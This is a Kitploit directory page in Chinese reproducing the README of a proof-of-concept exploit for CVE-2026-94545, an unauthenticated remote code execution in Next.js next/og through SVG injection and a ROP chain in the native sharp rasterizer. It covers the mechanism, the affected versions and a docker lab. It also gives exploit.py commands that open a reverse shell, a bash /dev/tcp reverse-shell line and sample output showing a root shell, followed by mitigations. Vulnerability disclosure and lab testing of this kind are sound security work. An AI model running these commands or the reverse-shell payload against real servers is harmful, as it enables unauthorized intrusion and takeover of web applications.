Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-94545 — 针对 CVE-2026-94545 的概念验证漏洞利用,该漏洞是 Next.js next/og 中通过 SVG 注入和针对原生 sharp 光栅化器的 ROP 链实现的未认证 RCE。 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-94545
漏洞分析漏洞利用逆向工程Web应用程序漏洞利用远程访问工具Payload 开发
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

针对 CVE-2026-94545 的概念验证漏洞利用,该漏洞是 Next.js next/og 中通过 SVG 注入和针对原生 sharp 光栅化器的 ROP 链实现的未认证 RCE。

查看仓库
9361天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-94545 Next.js next/og 未认证 RCE

★ CVE-2026-94545 Next.js next/og SVG 注入导致原生 RCE ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


概述

next/og 通过使用 Satori 将 JSX 渲染为 SVG,然后对该 SVG 进行光栅化来构建 Open Graph 图像。Satori 将用户提供的文本写入 SVG 时未进行转义(CWE-116),因此请求可以闭合周围的元素并注入自己的 SVG 标记。当路由在安装了 sharp 的 Node.js 运行时上运行时,该 SVG 由原生库(libvips、librsvg、libxml2)进行光栅化,而不是由沙箱化的 wasm 渲染器处理。 由 XInclude 引用和嵌套 DTD 实体构建的载荷会破坏该原生解析器中的内存。官方 Node.js 二进制文件是非 PIE 的,因此其代码和 GOT 未被随机化,固定的 ROP 链无需地址泄漏即可到达 execve。向 OG 图像路由发送一个未认证请求就足以以服务器进程身份执行命令。


受影响版本

类别版本
受影响Next.js 16.2.0 – 16.3.5(Node 运行时,存在 sharp),Satori >=0.0.27 <0.33.5
已修复Next.js 16.3.6 / Satori 0.33.5 或更高版本

仅 Node.js 运行时路径受影响。使用 export const runtime = 'edge',或未安装 sharp 的安装,图像由沙箱化的 resvg-wasm 渲染器绘制,该漏洞不会导致代码执行。


影响

  • 以 Next.js 服务器进程身份进行未认证代码执行。任何将请求数据传入 ImageResponse 的路由都是攻击点。
  • 该利用是盲注的。成功的 execve 会替换工作进程,因此 HTTP 请求只是关闭,结果必须通过其他方式返回,例如反向 shell 或回连命令。
  • 载荷是稳定的。由于 Node 二进制文件是非 PIE 的,对于给定的 Node 构建,gadget 地址在每台主机和每次重启后都相同,因此无需针对每个目标进行泄漏或暴力破解。
  • 成功命中会使工作进程崩溃。node 进程被注入的命令替换,因此服务器停止响应,直到重新启动。

环境

一个复现易受攻击配置的最小 Next.js 应用。/api/og 路由在 Node 运行时上渲染 ImageResponse,并且安装了 sharp,因此使用原生光栅化器。 该镜像固定了 ROP 链所依赖的确切技术栈(Node 24.20.0 非 PIE、Next 16.3.5、sharp 0.35.4 搭配 libvips 8.18.6、librsvg 2.62.91、libxml2 2.15.3)。首次构建会拉取 Node、安装 npm 依赖并运行 next build,这需要几分钟。

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
前提条件本实验环境中的状态
Node 运行时上的 Next.js 16.2.0 – 16.3.5Next 16.3.5,runtime = 'nodejs'
安装了 sharp,因此使用原生 librsvg/libxml2 路径sharp 0.35.4、libvips 8.18.6、rsvg 2.62.91、xml2 2.15.3
非 PIE Node 二进制文件以获得稳定的 ROP 基址官方 Node v24.20.0 linux-x64(已通过 SHA 验证)
OG 图像路由无需认证即可访问GET 和 POST /api/og,请求文本进入 SVG <title>
可用于反向 shell 的出站路径存在 bash 和 /dev/tcp

PoC

易受攻击的路由是 POST /api/og。它获取请求正文并将其放入 SVG <title> 中,然后进行光栅化。exploit.py 为所选命令构建该 SVG,将 ROP 链编码到 <path> 中,并将其发送到该路由。

最简单的运行方式是打开反向 shell。给它目标地址和监听地址;它会为你启动 nc, 触发请求,并将 shell 交给你。

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

该载荷是针对环境部分列出的技术栈校准的,因此请针对此镜像或具有相同 Node 和 sharp 构建的主机运行它。命中会将 node 进程替换为你的命令,这意味着 HTTP 请求会关闭,服务停止应答,直到容器重新启动。

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

反向 shell 以服务器进程身份运行,这证实了来自单个未认证请求的代码执行。要在没有监听器的情况下运行单个命令,请直接传入该命令;请注意,输出不会通过 HTTP 返回,因此该命令必须通过带外方式发送任何你想看到的内容。

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

缓解措施

  • 升级到 Next.js 16.3.6 / Satori 0.33.5 或更高版本,这些版本在序列化时会转义 SVG 文本并关闭注入。
  • 如果暂时无法升级,请将 next/og 路由移至 export const runtime = 'edge',以便使用沙箱化的 wasm 渲染器,或移除 sharp 以避免触及原生路径,并确保未净化的用户输入不进入 ImageResponse 子元素。
  • 将 OG 图像路由置于认证或允许列表之后,并限制服务器的出站流量,使盲注数据外泄更加困难。
  • 修补后,将可被互联网访问的实例视为已失陷:轮换应用进程可读取的任何机密,并检查是否存在持久化。

分析

  • KR:
  • EN:
下载工具